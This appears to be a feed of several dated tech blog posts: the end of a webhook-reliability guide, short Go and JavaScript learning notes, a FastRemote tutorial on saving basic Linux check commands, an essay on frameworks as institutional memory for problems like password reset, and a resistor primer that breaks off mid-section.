This arrives as a wall of 400s, and the cause is nearly always one of five:

The body was parsed and re-serialised before verification.
The wrong secret: test instead of live, or another endpoint's.
A whsec_ secret used as a literal string instead of decoded.
A drifting server clock, so every timestamp looks stale.
A secret rotated with no overlap.

The last one is an outage you schedule yourself. If the old secret dies the instant a new one is
issued, every request between that moment and your deploy fails. Senders avoid it by signing with
both secrets for a while: the spec describes exactly this, and Stripe keeps the previous secret
valid for up to 24 hours, with one signature per active secret.

Takeaway: accept any valid v1 in the header, deploy the new secret inside the overlap, and log
why verification failed — stale timestamp, no matching signature, missing header — never a bare
400.

6. Events stop, and nobody notices

The quietest failure is the worst. The sender exhausts its retries and gives up. A subscription is
disabled after repeated failures — Shopify removes it
(Shopify). Or your own
handler catches an exception, logs it at debug and returns 200. From then on nothing errors;
events just stop, and the first symptom is a customer asking where their order went.

The defence is a delivery log on whichever side you control:

Record	Why you will want it
Event id and type	To find one event, and to prove it was a duplicate
Every attempt: time, status, latency	To tell "down" from "slow" from "rejected"
The response body, truncated	Most failures explain themselves there
Final outcome	To count what was abandoned, not just what failed once

Takeaway: alert on the failure rate and on silence. An endpoint that received a thousand
events an hour yesterday and none today is not healthy just because nothing is failing.

Testing webhooks locally

See what arrives. A request bin is a throwaway URL that records every request sent to it. Our
free webhook tester is one, keeping the latest hundred requests for 24 hours: point a
provider at it and read the real headers and body before you write a handler.

Reach your laptop. A tunnel gives localhost a public HTTPS URL. Stripe's docs suggest ngrok,
and its CLI forwards events with stripe listen --forward-to localhost:4242/webhook.

Replay real payloads. A captured body and its headers are a test fixture that is exactly what
production sends:

curl -X POST http://localhost:3000/webhooks/orders \
  -H 'Content-Type: application/json' \
  -H 'webhook-id: msg_2mQ8hZk3Xv9aR1cT' \
  -H "webhook-timestamp: $(date +%s)" \
  -H "webhook-signature: v1,$SIGNATURE" \
  --data-binary @order-created.json

--data-binary sends the file byte for byte; plain -d strips newlines and changes the
signature. A replay needs a fresh timestamp and so a fresh signature — the replay window doing its
job. When a signature will not verify, the signature verifier checks
body, secret and header in your browser without sending them anywhere.

Break it on purpose. Return 500 and watch the retries arrive. Sleep past the timeout. Send
the same payload twice. Send order.updated before order.created.

Build it yourself, or put a gateway in front?

For one sender and one receiver, build it: verification, a table of seen ids and a queue are a
day's work, and the code above is most of it.

It gets harder as the edges multiply. Sending webhooks to your own customers means storing every
event before the first attempt, a retry scheduler that survives restarts, isolation so one slow
customer does not delay the rest, a delivery log they can read, replay and secret rotation.
Receiving from several providers means several signing schemes and retry policies. None of it is
exotic, but it is a system. A gateway is that system already built — at the price of one more
component that must stay up and that holds your signing secrets.

How Railhook handles it

Railhook is an open-source webhook gateway, MIT-licensed; these are its defaults. Outgoing
webhooks are stored before the first attempt and attempted up to seven times, waiting one minute,
five minutes, fifteen minutes, one hour, six hours and twenty-four hours — about thirty-one hours
in all, each wait jittered between half and one and a half times its tier. Webhooks it relays
onward for you get a shorter ladder of five attempts. By default every delivery carries the
Standard Webhooks headers shown above, and after a secret rotation both secrets sign for a 24-hour
grace window. Every attempt is logged with its status code and response, and any stored event can
be replayed. The docs have the details.

Provider behaviour quoted above was read from each provider's own documentation on the date at the
top of this article. These policies change; follow the links before you build on a number.

Originally published on the Railhook blog. Railhook is an open-source webhook gateway — send and receive, MIT, self-host with one command: github.com/vadymkykalo/railhook.

Slices Beyond the Basics

Wed, 23 Sep 2026 04:14:36 +0000

Hey Techie!

Welcome to my Go series! I'll be sharing what I'm learning in ways that make sense to me, the mistakes I make and the "aha!" moments that help everything click. Whether you're learning Go too or just curious about it, I hope you'll pick up something along the way.

Feel free to add any insights or experiences in the comments.

Today's topic is... drumroll, please! Slices. Let's dive in!

So, what exactly is a slice?

When I first came across slices in Go, I thought they were another name for arrays. Turns out, they're not!

A slice is a dynamic view into an underlying array. It is internally represented by a small data structure called a slice header. Instead of storing the elements themselves, the slice header stores a pointer to the underlying array, along with its length and capacity. This realization helped me understand why modifying a slice can also modify the original array.

Another interesting and convenient thing is how flexible slices are compared to arrays which are fixed size. Slices can grow using functions like append() or be resliced to work with a smaller portion of the underlying array. This flexibility is one of the reasons slices are used so frequently in Go.

A little heads up, I used AI to clean up my grammar and typos. The technical ideas and thoughts in this article are 100% my own.

The Joy of Learning the Basics Again

Tue, 22 Sep 2026 01:31:57 +0000

I’ve been revisiting JavaScript recently.

Not because I’ve never used it before, but because I realised there were a lot of things I could recognise when I saw them in code without feeling fully confident that I understood them properly.

That distinction started bothering me.

I could read JavaScript.

I could follow what was happening.

But being able to look at code and understand it is not always the same as being able to sit down with a blank file and write it confidently yourself.

So I decided to go back to the basics.

And weirdly enough, I’ve been enjoying it a lot more than I expected.

There’s something satisfying about revisiting something familiar and realising you understand it differently the second time around.

Starting from the beginning again

I started with things like:

const userName = "Sabi";
const role = "admin";
let postCount = 0;

Very basic stuff.

At first, part of me wanted to rush through it because I already knew what const and let were.

But slowing down actually helped.

Instead of just remembering that let can be reassigned and const cannot, I started thinking more deliberately about why I would choose one over the other.

That set the tone for the rest of the refresher.

I wasn’t just trying to remember syntax.

I wanted the concepts to actually make sense.

Functions exposed a few gaps

Functions were another area where I thought I was already comfortable.

Then I started paying more attention to the smaller details.

For example:

function checkAccess(role) {
    return role === "admin";
}

checkAccess("admin");

role is the parameter.

"admin" is the argument.

Simple distinction, but it reminded me how easy it is to skip over small concepts because you’ve seen them so many times.

Those gaps add up.

Arrays were where things started getting more interesting

I revisited arrays and loops, then moved into:

map()
filter()
find()
some()
every()
reduce()

These are methods I’ve seen and used before, but going through them one by one made the differences much clearer.

For example:

const users = [
    { name: "Sabi", role: "admin" },
    { name: "Kong", role: "member" },
    { name: "Vandal", role: "member" }
];

To get all admins:

const admins = users.filter(
    (user) => user.role === "admin"
);

To get one particular user:

const user = users.find(
    (user) => user.name === "Vandal"
);

Same array.

Different intention.

That sounds obvious, but writing these things myself made them stick much better than just reading examples.

I had been using callbacks without really thinking about them

This was one of the more useful moments.

Something like:

users.filter((user) => user.role === "admin");

looks completely normal.

But that function inside filter() is a callback.

When I recreated the idea manually:

function welcomeUser(name) {
    console.log(`Welcome, ${name}`);
}

function welcomeUsers(users, callback) {
    for (let i = 0; i < users.length; i++) {
        callback(users[i]);
    }
}

it clicked more clearly.

A callback stopped sounding like some special JavaScript concept.

It was just a function being passed into another function so it could be called later.

Sometimes understanding something is really just removing the fancy name from it.

Destructuring finally stopped feeling like magic

I’ve used destructuring plenty of times before:

const { name, role } = user;

and:

const [firstUser, secondUser] = users;

But during the refresher, I actually made a mistake and tried to destructure an array using {}.

That was useful.

It forced me to think about what JavaScript was actually doing.

Objects:

const { name, role } = user;

Arrays:

const [firstUser, secondUser] = users;

Objects are matched by property name.

Arrays are matched by position.

That mistake probably taught me more than just reading the correct syntax would have.

Spread and rest made more sense this time

Then came spread:

const updatedUsers = [...users, "Efo"];

and:

const updatedUser = {
    ...user,
    role: "admin"
};

I’d seen this syntax countless times before.

But revisiting it properly made the logic much clearer.

Spread takes existing values and spreads them into a new structure.

Rest uses the same ... but collects values:

function addUsers(...users) {
    return users;
}

The way I remember it now is:

Spread = spread things out

Rest = gather things together

Simple, but it works.

Async JavaScript was probably the most important part

Promises and async/await were where the refresher became much more valuable.

I created a Promise like this:

const getUsers = new Promise((resolve, reject) => {
    setTimeout(() => {
        resolve([
            { name: "Sabi", role: "admin" },
            { name: "Kong", role: "member" }
        ]);
    }, 5000);
});

Then worked with .then():

getUsers
    .then((users) => {
        return users.filter(
            (user) => user.role === "member"
        );
    })
    .then((members) => {
        return members.map(
            (member) => member.name
        );
    })
    .then((names) => {
        console.log(names);
    });

One thing that stood out here was the difference between logging and returning.

This:

console.log(users);

shows me something.

This:

return users;

passes the value forward so another part of the program can use it.

I knew that already in isolation, but Promise chaining made the difference feel much more important.

`async/await` made everything easier to reason about

Once I moved from .then() to:

async function showUsers() {
    try {
        const users = await getUsers;

        const members = users.filter(
            (user) => user.role === "member"
        );

        const names = members.map(
            (member) => member.name
        );

        console.log(names);
    } catch (error) {
        console.log(error.message);
    }
}

the flow became much easier to read.

I also finally got a stronger understanding of what await actually does.

It pauses the current async function.

It does not pause the entire JavaScript program.

That distinction made async code feel a lot less mysterious.

Fetch tied everything together

Then I moved into fetch().

const response = await fetch(
    "https://jsonplaceholder.typicode.com/users"
);

if (!response.ok) {
    throw new Error("Failed to fetch users");
}

const users = await response.json();

This was probably the point where the refresher stopped feeling like a list of separate JavaScript topics.

Suddenly everything connected:

functions
↓
Promises
↓
async/await
↓
HTTP
↓
fetch
↓
JSON
↓
arrays
↓
map / filter / find

That was one of the biggest things I took away from the whole process.

The concepts make much more sense when they stop being separate chapters and start working together.

Modules were a good place to finish

The final part of the refresher was modules.

I practised exporting functions:

export function findUser(users, name) {
    return users.find(
        (user) => user.name === name
    );
}

export function getAdmins(users) {
    return users.filter(
        (user) => user.role === "admin"
    );
}

and importing them somewhere else:

import {
    findUser,
    getAdmins
} from "./users.js";

I also revisited the difference between named exports and default exports.

Named:

export function findUser() {}

import { findUser } from "./users.js";

Default:

export default function UserProfile() {}

import UserProfile from "./UserProfile.js";

This is something I’ve seen constantly in modern JavaScript code, but going back to the fundamentals made it feel much less like framework magic.

The main thing I realised

The biggest takeaway from this refresher wasn’t any one JavaScript feature.

It was realising how easy it is to confuse familiarity with understanding.

You can see something a hundred times and still have gaps.

You can recognise code without being able to write it confidently.

You can use a pattern without fully understanding why it works.

That was the whole reason I went back.

Not to become a JavaScript expert before moving on.

Just to make the foundation stronger.

And somewhere along the way, I started enjoying the process more than I expected.

There’s a different kind of confidence that comes from understanding the basics properly.

Not the confidence of knowing everything.

Just the confidence of knowing what you’re standing on.

So far I’ve revisited:

variables and data types
operators and conditionals
functions and scope
arrays and loops
map, filter, find, some, every and reduce
objects
destructuring
spread and rest
callbacks
error handling
Promises
async/await
HTTP and fetch
modules

And I actually feel better for slowing down.

Next for me is TypeScript.

But this time, I’m moving forward with a much clearer understanding of the JavaScript underneath it.

Sometimes going back isn’t really going backwards.

Sometimes it’s just the fastest way to stop building on shaky ground.

Build a small reusable Linux checklist in FastRemote

Sun, 20 Sep 2026 10:17:22 +0000

Disclosure: This tutorial is provided by the FastRemote product team and introduces our product. It was generated by an AI agent at our request, using documentation for released 1.1.5 functionality. Examples are for authorized test environments. FastRemote is a commercial SSH/SFTP desktop app for Windows, macOS, and Linux. Its 15-day trial must be started explicitly and does not require a payment method.

A command library is most useful when it contains commands you understand. Start with four checks you repeat, rather than importing a large collection and hoping every command suits your server.

This exercise uses a Linux test host. The commands inspect state and do not need elevated privileges.

Choose four tasks

Create a group in FastRemote's command library for basic Linux checks and add separate entries:

Entry name	Command
Current user	whoami
Hostname	hostname
Working directory	pwd
Filesystem space	df -h

Use the task as the entry name. Add a short note describing what the output means. Do not store passwords or API keys in command text or notes.

Test each command yourself

Connect to your test server. Check the selected SSH target and run each command once in the terminal.

This establishes both what the command does and whether it is suitable for that operating system. A Linux command should not be assumed to behave the same way in Windows PowerShell.

If you manage several systems, use separate groups and clear names.

Paste before executing

When taking a command from FastRemote's command library, beginners should start with the paste-only action. Read the text and check the target, then press Enter.

This is particularly helpful once commands contain variables, paths with spaces, or multiple lines. A saved command is still code that will run with your remote account's permissions.

The direct execution action can save an interaction once you are comfortable with an entry and its context.

Connect output to a decision

A disk-space check should tell you which filesystem deserves investigation. It should not automatically trigger a deletion command.

An unexpected username should send you back to the connection settings rather than immediately to a privilege-escalation command.

Keep the library maintainable

For each later addition, record its purpose, supported system, and whether it changes data. Review exported command files for sensitive values before sharing them.

You are finished when you can retrieve a familiar check without hunting through browser tabs, understand its output, and run it on the intended machine. FastRemote supplies the organization and reuse; your notes preserve the reasoning behind each entry.

Product information and downloads: FastRemote website.

Frameworks Are Institutional Memory

Thu, 17 Sep 2026 18:34:00 +0000

I stored passwords in plaintext on a floppy disk in the 1980s. Recently, a coding agent made a version of the same mistake.

When I was running bulletin board systems in the 1980s, password management could be remarkably straightforward.

A user created an account. They chose a password. The BBS needed to determine whether the password they entered later was the same one they had chosen.

So you stored it.

In plaintext.

On a floppy disk.

Hard drives were expensive and hardly universal in the hobbyist computing world I inhabited, so there was nothing strange about application data living on floppies. The important thing was that the software could retrieve the password and compare it against whatever the user typed the next time they called in.

Something like this was perfectly understandable:

KEN|swordfish
SARAH|password123
MIKE|enterprise

There was, of course, a slight problem.

The person running the BBS could read everybody's passwords.

So people started solving that. Maybe the password should not be stored exactly as the user entered it. A substitution cipher or some other homegrown transformation could at least stop someone from casually opening the user file and reading every credential.

Problem solved.

Well. One problem solved.

The transformation might be reversible. Two users choosing the same password produced the same stored value. A compromised file exposed everyone at once. Users reused those passwords elsewhere. Password recovery introduced an entirely separate collection of problems.

Each solution exposed another question.

Over the following decades, "store a password" accumulated an extraordinary amount of engineering knowledge.

Today, saying an application needs authentication describes far more than comparing one string against another. It means hashing, salts, password reset, expiring tokens, single-use tokens, session invalidation, account enumeration, brute-force protection, cookie attributes, CSRF, rate limiting, and a long list of other concerns depending on the threat model.

A developer can still build all of that from scratch.

The more interesting question is whether they should.

The Code You Don't Know You Need

The first thing developers learn about frameworks is that they save us from writing code.

That is true, and it undersells them badly.

A mature framework does not merely contain code somebody else wrote. It contains decisions somebody else already had to make, edge cases somebody else already hit, vulnerabilities somebody else already discovered, and fixes somebody else already learned were necessary.

A mature framework is partly institutional memory encoded as software.

Take authentication. The happy path is not conceptually difficult:

User submits credentials
        ↓
Find account
        ↓
Check password
        ↓
Create session
        ↓
Return success

A relatively inexperienced developer can understand that flow and implement a version of it.

Production authentication is not hard because the happy path is hard. It is hard because of everything surrounding the happy path.

How should the password be stored? What happens after repeated failed attempts? Can an attacker determine whether a username exists by comparing error messages? What happens to existing sessions after a password change? How long should a reset token remain valid? What happens after it is used? Can it be replayed? What attributes belong on the session cookie?

The developer writing authentication for the first time does not necessarily know to ask any of that.

A mature framework often does.

That is a very different kind of value from saving keystrokes.

Abstractions Change Who Has to Think

Software has always progressed partly by taking things that required specialized knowledge and putting them behind abstractions.

Assembly gave me extraordinary control over what the processor did. It was also a tremendous pain. Higher-level languages let us express more sophisticated ideas without manually considering every instruction. C retained substantial control over memory and execution while being far more productive. Later languages and runtimes provided increasingly sophisticated abstractions for memory management, type safety, concurrency primitives, and networking. Libraries and frameworks moved the boundary again. Managed platforms moved it again.

None of those layers made the layer underneath disappear.

Your Python application still causes a processor to execute machine instructions. Your Django application still communicates over networks. Your application on a managed platform still runs on computers somewhere.

What the abstraction changes is who has to think about those things routinely.

Control and Responsibility Arrive Together

Developers sometimes discuss control as though it were an unqualified good.

C gives me more control over memory. Running directly on infrastructure gives me more control than a managed platform. Writing SQL gives me more control than an ORM. Building against browser automation primitives gives me more control than a higher-level testing abstraction.

All of those statements can be true.

But control has a twin that gets mentioned far less often: responsibility.

If you control memory allocation, you are responsible for memory allocation. If you control your infrastructure, you are responsible for configuring, securing, observing, updating, and troubleshooting it. If you control every selector in an end-to-end test suite, you own every selector when the application changes.

You could write your inventory API in C. Manage the networking, parse HTTP, handle allocation, implement routing, serialization, authentication, database connectivity, concurrency, and error handling yourself. You would have an enormous amount of control, and you would have volunteered for an enormous number of problems that Flask, FastAPI, Django, Rails, Spring, and others have spent years making uninteresting.

The trade is not:

abstraction versus control

It is closer to:

less control and less responsibility versus more control and more responsibility

Sometimes the additional control is worth the additional responsibility. Sometimes it is not.

Using the abstraction does not make you less of an engineer. Building the lower layer yourself does not automatically make you a better one. The skill is recognizing which problems deserve your attention, while understanding what you surrendered to have the others solved for you.

Opinions Are Part of the Product

"Opinionated" sometimes gets used as a criticism.

It certainly can be one. If a framework's opinions conflict with your application's fundamental requirements, you will spend more time fighting it than benefiting from it.

But an opinion is also a decision you do not have to make. A framework with an established approach to authentication, migrations, forms, routing, validation, sessions, and project structure has removed that many questions from your team's agenda, and mature defaults usually carry years of accumulated experience with them.

The other side of the bargain is that somebody else has partially decided what your options look like.

Using MongoDB with Django was a long-running example. Django's data layer was built around assumptions that fit relational databases particularly well, and getting MongoDB underneath it was possible through various third-party approaches, though "interesting" would be a charitable description of that experience. You were making one architectural choice while using a framework whose opinions had been designed around another.

What happened next supports the argument better than the complaint did. MongoDB shipped an official Django backend in public preview in early 2025, and it now handles embedded models, queryable encryption, geospatial lookups, and most of what the third-party packages struggled with. The framework's opinions were not overturned. They were extended, by people willing to do the work of reconciling the document model with Django's assumptions.

That took years, and it is exactly the process this whole post is about. The accumulated knowledge is the product. It just accumulates slowly.

So before adopting any framework, do not look only at the complexity it removes. Ask what decisions it makes on your behalf, what assumptions are embedded in those decisions, and how painful things become when your application needs something outside them.

You can dislike the choices. You can replace some of them. You can decide the framework is wrong for you. What matters is understanding the bargain.

Every Platform Sells You Both

Managed platforms made this visible in a way frameworks alone did not.

Before them, deploying an application meant owning a considerable amount of infrastructure knowledge: somewhere to run it, a way to deploy it, process management, configuration, networking, logging, databases, scaling, and monitoring. Managed platforms did not make any of that cease to exist. They changed who had to own it.

What is easy to miss is that this was never a choice between vendors. It is a choice available inside every vendor. AWS will happily sell you App Runner, Elastic Beanstalk, Lambda, or Amplify, and it will just as happily sell you EC2 instances, a VPC, load balancers, autoscaling groups, and a pile of IAM policies to assemble yourself. Google Cloud offers Cloud Run and App Engine alongside Compute Engine and GKE. Azure has App Service and Container Apps on one side, virtual machines and AKS on the other.

Same provider. Same workload. Radically different amounts of responsibility.

The opinionated paths get you running quickly and constrain what you can do. The assembled paths let you build nearly anything and hand you an operational surface that keeps expanding for as long as the system exists. Most real architectures contain both, which is usually the right answer.

The constraint is real in either direction. If you need behavior outside the managed model, the abstraction becomes limiting, and there are plenty of workloads where owning the pieces makes more sense. That is not a failure of the abstraction. It is the trade the abstraction offered.

One asymmetry is worth pricing in advance: the managed path is cheap to enter and expensive to leave. Moving off it means rebuilding the machinery the platform was quietly providing, usually under time pressure, usually at the exact moment the constraint became intolerable. That is not an argument against starting there. It is an argument for knowing which constraint would force the move before you have to make it.

For most teams the question was never whether their engineers could build and operate infrastructure. It was whether infrastructure was what their customers were paying them to be good at.

Spend Your Complexity Budget Wisely

I think of this as a complexity budget.

Every team has finite attention. There are only so many engineers, so many hours, and so many systems a group can deeply understand and maintain. Complexity spends that budget.

Build your own authentication and you have spent some of it on authentication. Operate your own infrastructure and you have spent some of it on infrastructure. Build a custom persistence layer and you have spent some of it on persistence.

Any of those can be excellent investments when the capability differentiates your product or your requirements genuinely demand the control. Dan McKinley's "Choose Boring Technology" makes a neighboring argument with innovation tokens: you get about three, so spend them where they matter. The complexity budget is the same instinct pointed at what you build rather than what you adopt.

"We could build it ourselves" does not establish anything. Engineers can build lots of things.

The better question is:

Is this where we want to spend our complexity budget?

Learn What's Underneath Anyway

None of this argues against learning fundamentals. Quite the opposite.

Understanding HTTP makes you better at using a web framework. Understanding SQL makes you better at using an ORM. Understanding memory makes you better at diagnosing what a runtime is doing.

Every abstraction eventually leaks. When it does, knowing what is underneath tells you whether you are looking at a bug, a limitation, a bad assumption, or the consequence of a trade you made a year ago.

But there is a difference between understanding a layer and taking responsibility for operating it.

I do not need to fabricate a processor to understand how one works. I do not need to write an HTTP server in C to understand HTTP. I do not need to implement my own password hashing to understand why plaintext was a bad idea.

Sometimes understanding a problem thoroughly is precisely why you decide not to implement it yourself.

The Password Problem Never Really Went Away

Recently I had a coding agent implement password reset for a small application.

It built the feature in about five minutes. The email arrived. The link opened. The password changed. The user logged in with the new one.

Everything worked.

Except the reset link worked a second time.

The implementation satisfied the obvious behavior while missing the invariant underneath it: once the reset succeeds, the token has to become useless.

That felt familiar.

Forty years ago the question was:

Does the password let the right person log into the BBS?

Yes.

Then somebody asked:

Can the sysop read everyone's password?

Oh.

Years later:

Is the stored password protected?

Yes.

Can the stored representation be reversed or cheaply cracked?

Oh.

And now:

Does the password reset feature work?

Yes.

Can I reuse the token?

Oh.

The technologies change. The pattern does not. We implement the requirements we know about, and experience introduces us to the ones we did not.

That is why mature abstractions matter. They carry some of that experience forward so the next developer inherits the lesson without personally reliving it. Somebody already hit the edge case. Somebody already found the vulnerability. Somebody already spent three days on the concurrency bug that only appears on Tuesdays.

Which leaves an open question I do not think we have answered yet.

A mature framework carries its institutional memory in its decisions. Sometimes the reasons stay attached through issues, commits, documentation, and design discussions. Often they do not, and only the resulting constraint survives. Either way, somebody encountered the problem and changed the system because of it.

That is the part worth noticing. The single-use token check runs whether or not anyone remembers why it was added. The lesson is enforced rather than remembered.

A model trained on a very large corpus of code has absorbed something that resembles institutional memory. But it learned from artifacts produced after those decisions were made, rather than from the decisions themselves. It can reproduce what surviving code looks like without inheriting anything that enforces why one implementation survived and another did not.

Which might explain why my agent wrote a flawless happy path and dropped the invariant.

Happy paths are abundant. Invariants live in the decisions.

Resistors: How to read the stripes, do the math, and avoid the magic smoke

Thu, 17 Sep 2026 10:10:48 +0000

If you have ever popped the back off anything with a circuit board inside, you have seen resistors. They are the little striped cylinders, the tiny black rectangles, the ceramic blocks bolted to a heatsink. They are everywhere, and most of them look like they should be interchangeable — yet a 220 Ω part and a 10 kΩ part are about as similar as a paperclip and a coat hanger.

This guide is the page I wish every beginner landed on first. By the end you will be able to read any resistor by eye, know why a 47 Ω value exists instead of a sensible 50 Ω, pick a part that will not catch fire, and work through the three bits of math that cover maybe 90% of real-world resistor use.

What a resistor actually is (and why your circuit cannot live without one)

A resistor is a two-legged component whose only job is to get in the way. It opposes the flow of electric current, and it does so by turning some of that electrical energy into heat. That is the whole trick. No moving parts, no magic, just a controlled amount of "don't."

The amount of opposition is called resistance, measured in ohms (symbol: Ω, the Greek capital omega). One ohm is the resistance you get when one volt of pressure pushes one amp of current through. That definition is worth holding onto, because it tells you exactly what a resistor is doing in plain terms: it sets the relationship between voltage (pressure) and current (flow).

The rule that ties those three together is Ohm's law:

V = I × R

Voltage equals current times resistance. Rearrange it however you like — I = V / R or R = V / I — and you have the single equation that explains every resistor in every circuit.

Here is the mental model that actually sticks. Think of current as water flowing through a hose. Voltage is the water pressure from the tap. A resistor is a constriction in the hose — a kink, a narrow section, a thumb pressed over the end. The tighter the constriction, the less water gets through for a given pressure. A 10 kΩ resistor is a tight kink; a 10 Ω resistor is barely there.

Two things follow from this, and they explain most resistor behavior:

A resistor cannot create energy, only waste it. Engineers call it a passive component. It does not amplify, it does not oscillate, it just sits there converting current into a little warmth. (That "little warmth" is exactly why a too-small resistor smells bad and lets out smoke — more on that later.)
The resistance comes from the material, not the label. At the microscopic level, a resistor is made from a conductor that is deliberately not a great conductor — carbon, a metal-oxide film, a coiled wire. Electrons trying to cross it keep bumping into atoms, and each bump is a tiny conversion of motion into heat. Change the material, its length, its thickness, or its temperature, and you change the resistance.

That is the whole conceptual foundation. Everything below is just applying it.

Reading resistor values: color codes, demystified

Through-hole resistors (the striped cylinders) almost never have numbers printed on them — there is no room, and the paint would wear off. Instead they carry their value as colored bands. Once you learn the code, you can read a resistor across a room.

Most resistors you meet are 4-band, 5-band, or 6-band:

4-band (the common hobbyist part): two digits — a multiplier — a tolerance band.
5-band (precision parts): three digits — a multiplier — a tolerance band.
6-band: same as 5-band, plus a final band for temperature coefficient.

The first one to three bands are the significant digits. The next band is the multiplier — it tells you how many zeros to tack on (or, for gold and silver, a fraction). The band after that is tolerance — how far off the real value is allowed to be.

Here is the full table:

Three worked examples you will see constantly

A 220 Ω resistor (the classic LED current-limiter): Red — Red — Brown — Gold → 2, 2, ×10, ±5% = 22 × 10 = 220 Ω ±5%. This is the part we reach for on a 5 V logic rail or a bright LED.

A 1 kΩ resistor (the default pull-up / current-limiter): Brown — Black — Red — Gold → 1, 0, ×100, ±5% = 10 × 100 = 1,000 Ω = 1 kΩ ±5%. If a tutorial says "just use 1k," this is the stripe pattern.

A 10 kΩ resistor (the standard microcontroller pull-up): Brown — Black — Orange — Gold → 1, 0, ×1,000, ±5% = 10 × 1,000 = 10,000 Ω = 10 kΩ ±5%. Almost every Arduino "connect a button" sketch assumes a 10 kΩ pull-up.

A mnemonic that actually works

The digits map to a sentence everyone learns: "Bad Beer Rots Our Young Guts But Vodka Goes Well — Get Some Now." Black, Brown, Red, Orange, Yellow, Green, Blue, Violet, Grey, White, (Gold, Silver, None). Silly, but you will never forget the order.

Surface-mount resistors and their secret codes

Once you leave the breadboard and move to a manufactured board, resistors shrink into tiny black rectangles with no room for stripes. They carry numbers instead, and the system is simpler than it looks.

3-digit code (5% and 10% parts): the first two digits are significant, the third is the number of zeros.

471 = 47 followed by one zero = 470 Ω
103 = 10 followed by three zeros = 10 kΩ
100 = 10 followed by zero zeros = 10 Ω

4-digit code (1% parts): three significant digits, then the number of zeros.

4700 = 470 followed by no zeros = 470 Ω
1002 = 100 followed by two zeros = 10 kΩ

EIA-96 code (1% precision on tiny packages): two digits plus a letter. The digits are an index into the E96 value table (01 = 100, 02 = 102 ... 96 = 976), and the letter is the multiplier: A = ×1, B = ×10, C = ×100, D = ×1 k, E = ×10 k, F = ×100 k. So 01A = 100 × 1 = 100 Ω, and 68A = 487 × 1 = 4.87 kΩ.

You will also see a package size like 0402, 0603, 0805, or 1206. Those four digits are the size in hundredths of an inch: 0402 is 0.04 × 0.02 inches. Smaller is cheaper and lighter but harder to solder by hand and carries less power. A 1206 can usually take about 0.25 W; a 0402 is often rated at just 1/16 W (0.0625 W), which is why power math matters so much on tiny boards.

Rule of thumb: build on a breadboard or by hand, use through-hole; design a PCB you will manufacture, use SMD — and size the package to the wattage, not just the value.

Why resistors come in weird values: the E12 and E24 series

Here is a question that trips everyone up. Why is there a 47 Ω resistor and a 4.7 kΩ resistor, but no 50 Ω or 5 kΩ in the common bins? Why 33 Ω and 330 Ω instead of a round 30?

The answer is that resistor values are spaced geometrically, not arithmetically. Manufacturers do not pick random numbers; they use the E-series. An E12 resistor (±10% tolerance) has 12 values per decade, and each one is about 21% larger than the last — because a part can drift by up to 10% either way, the next value needs to start roughly where the previous one could have ended. The E12 values are:

10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82 — then ×10 for the next decade (100, 120, 150 ...).

E24 (±5% tolerance) squeezes in 24 values per decade by halving that step:

10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91.

That is why 47 Ω exists: it is the E12/E24 value nearest a "round" 50, and the geometric spacing guarantees that no matter which value you need, a standard part is close enough that tolerance absorbs the rest.

The practical takeaway: when a design calls for "about 5 kΩ," you reach for the standard 4.7 kΩ or 5.1 kΩ, not a custom 5.00 kΩ part. Standard values are cheaper, always in stock, and what every calculator and simulator assumes.

Power ratings and tolerance: the specs that actually burn

This is the section most thin guides skip — and the one that determines whether your circuit works next week or smells like burnt plastic tomorrow.

Wattage

Every resistor has a power rating in watts (W). The common through-hole sizes are 1/4 W (0.25 W), 1/2 W (0.5 W), 1 W, and up into the many-watt "power resistor" range. The rating is the maximum heat the part can shed into still air without overheating.

Three formulas tell you how much power a resistor is actually dissipating. They are all the same idea, just solved for what you happen to know:

P = I² × R · P = V² / R · P = V × I

Worked example. Put a 220 Ω resistor straight across a 5 V supply. Using P = V² / R: 25 / 220 ≈ 0.114 W. That is 114 mW, comfortably under a 1/4 W part's 250 mW limit. Safe.

Now try a 10 Ω resistor across the same 5 V rail: 25 / 10 = 2.5 W. A 1/4 W resistor would be dissipating ten times its rating — it would glow, then fail. You would need a proper power resistor here. The value was "fine" by Ohm's law; the wattage is what bit you.

Tolerance: when 5% is plenty and when it is not

Tolerance is how far the real resistance can drift from the labeled value. A ±5% 1 kΩ resistor is anywhere from 950 Ω to 1,050 Ω. A ±1% part stays between 990 Ω and 1,010 Ω.

For most jobs — limiting an LED, pulling up a pin, setting a gain roughly — 5% is perfectly fine and cheaper. Reach for 1% (or better) when the resistor sets a precision reference: a measurement divider, a filter frequency, an ADC scaling network. There, a 5% shift changes the answer you read.

Temperature coefficient (tempco)

The sixth band on a precision resistor is its temperature coefficient of resistance (TCR), given in ppm/°C — parts per million per degree Celsius. A 100 ppm/°C resistor changes by 100 Ω per million ohms (0.01%) for every 1 °C of temperature shift. Brown's 100 ppm is typical for cheap film; grey's 1 ppm is laboratory-grade. For anything indoors at room temperature, tempco barely matters; for a sensor you leave in the sun or a meter you trust, it is the difference between "close" and "wrong."

The derating curve (this is the part that saves parts)

A resistor's wattage rating is only valid at a specific ambient temperature — usually 70 °C. Above that, it cannot shed heat as well, so the safe power drops. The standard curve (per IEC 60115-1, and you will see the same shape on every major datasheet) runs at 100% up to 70 °C, then falls in a straight line to zero watts at 155 °C.

What this means in practice: a resistor rated 1/4 W at room temperature is only good for about half that inside a sealed enclosure that sits at 110 °C. If your circuit runs hot, either pick a bigger package or do the math at the derated value, not the headline number.

Types of resistors and when to reach for each

Not all resistors are the same inside, and the differences show up as noise, precision, and how they behave at temperature and frequency.

Carbon film vs. metal film. For blinking an LED or pulling a pin high, carbon film is all you need and costs a fraction of a cent. Choose metal film when the resistor is in the signal path you actually care about — a preamp, a voltage reference, an ADC front-end — because its lower noise and tighter tempco keep the signal clean.

Wirewound and high-power. When wattage is the problem, wirewound parts (often ceramic-bodied, sometimes bolted down) are the answer. The catch: that coil of wire acts like a tiny inductor, so avoid them in high-frequency RF paths where a "resistor" that also stores magnetic energy misbehaves.

Variable resistors. A potentiometer is a three-terminal divider you turn with a knob or screwdriver; a rheostat is the two-terminal version used as a variable resistance. Same component family, different wiring. Use them where a value needs to be set by a human, not baked into the board.

The math you will actually use

Three formulas cover almost everything. You already have Ohm's law and the power equations. Now the circuit configurations.

Resistors in series and parallel

Series (stacked end to end): resistances simply add.

R_total = R₁ + R₂ + ...

Two 10 kΩ resistors in series make 20 kΩ.

Parallel (side by side, sharing both nodes): the reciprocals add.

